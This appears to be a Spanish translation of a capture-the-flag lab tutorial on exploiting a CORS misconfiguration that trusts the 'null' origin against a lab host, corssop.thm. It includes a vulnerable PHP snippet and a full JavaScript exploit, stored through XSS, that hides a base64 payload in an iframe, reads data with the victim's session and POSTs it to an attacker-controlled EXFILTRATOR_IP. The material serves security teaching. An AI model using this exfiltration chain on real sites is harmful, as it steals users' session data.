¿Por Qué Null Origin?

Permitir peticiones de origen "null" en la política CORS de una aplicación web puede parecer contraintuitivo, pero hay escenarios específicos donde esto puede ocurrir, ya sea intencionalmente o no. Por ejemplo:

  1. Archivos Locales y Desarrollo: Cuando los desarrolladores prueban aplicaciones web localmente usando file://, el navegador suele configurar el origen a "null". En dichos casos, los desarrolladores pueden permitir temporalmente el origen "null" para facilitar las pruebas.
  2. Iframes Sandbox: Aplicaciones web que usan iframes sandbox (con el atributo sandbox) pueden encontrar orígenes "null" si el contenido del iframe viene de un dominio diferente
  3. Casos de Uso Específicos: Algunas aplicaciones pueden tener casos particulares que requieran de interacciones de soporte de entornos no-navegadores o clientes poco convencionales que no mandan un origen estándar.

Explotando Null Origin

Comparado con las técnicas previas, explotar una vulnerabilidad null origin suele involucrar aprovecharse de escenarios donde la aplicación confía incorrectamente el origen "null" de la petición. Esto puede ocurrir cuando la política CORS de la aplicación no está bien configurada. Por ejemplo, debajo el código vulnerable de http://corssop.thm/null.php:

php
<?php
header('Access-Control-Allow-Origin: null');
header('Access-Control-Allow-Credentials: true');
?>

El origen "null" normalmente ocurre cuando la página HTML se carga localmente usando el protocolo file:// o dentro de un iframe.

Null Origin

Para explotar el código vulnerable un atacante debe crear una página maliciosa con un iframe que contenga un código JavaScript que haga peticiones cross-origin a la aplicación objetivo.


XSS + CORS

Podemos usar la aplicación vulnerable en http://corssop.thm/xss.php para encadenar XSS con CORS. La aplicación está diseñada para aceptar código JavaScript o HTML y luego guardarlo en su base de datos. Esto significa que puedes inyectar JavaScript o HTML en el código de la aplicación, y una vez la víctima visite la aplicación se ejecutará el payload.

Null Origin

Debajo hay un ejemplo de código de exploit diseñado para exfiltrar la información de null.php mientras usa la sesión de la víctima. Asegúrate de cambiar la EXFILTRATOR_IP a la tuya:

html
<div style="margin: 10px 20px 20px; word-wrap: break-word; text-align: center;">
    <iframe id="exploitFrame" style="display:none;"></iframe>
    <textarea id="load" style="width: 1183px; height: 305px;"></textarea>
  </div>

  <script>
    // JavaScript code for the exploit, adapted for inclusion in a data URL
    var exploitCode = `
      <script>
        function exploit() {
          var xhttp = new XMLHttpRequest();
          xhttp.open("GET", "http://corssop.thm/null.php", true);
          xhttp.withCredentials = true;
          xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
              // Assuming you want to exfiltrate data to a controlled server
              var exfiltrate = function(data) {
                var xhr = new XMLHttpRequest();
                xhr.open("POST", "http://EXFILTRATOR_IP/receiver.php", true);
                xhr.withCredentials = true;
                var body = data;
                var aBody = new Uint8Array(body.length);
                for (var i = 0; i < aBody.length; i++)
                  aBody[i] = body.charCodeAt(i);
                xhr.send(new Blob([aBody]));
              };
              exfiltrate(this.responseText);
            }
          };
          xhttp.send();
        }
        exploit();
      <\/script>
    `;

    // Encode the exploit code for use in a data URL
    var encodedExploit = btoa(exploitCode);

    // Set the iframe's src to the data URL containing the exploit
    document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encodedExploit;
  </script>

El payload XSS es ejecutado cuando la víctima interactúa con el exploit.

Null Origin

Abre las herramientas de desarrollador y ve a Network. Debería haber dos peticiones XHR. La primera es mandada al servidor objetivo (null.php) y la segunda al servidor exfiltrante.

Null Origin

Como la política del servidor CORS está mal configurada para confiar en el origen "null", responderá a la petición e incluirá el header Access-Control-Allow-Origin: null.

Null Origin

Como puedes ver en la imagen de abajo:

  1. El dominio es corssop.thm.
  2. El origen es null porque la petición se origina del iframe. Null Origin

La víctima automáticamente visita la aplicación vulnerable (xss.php) cada minuto, por lo que una vez que se guarde el exploit deberías recibir una petición POST de la víctima en ese periodo.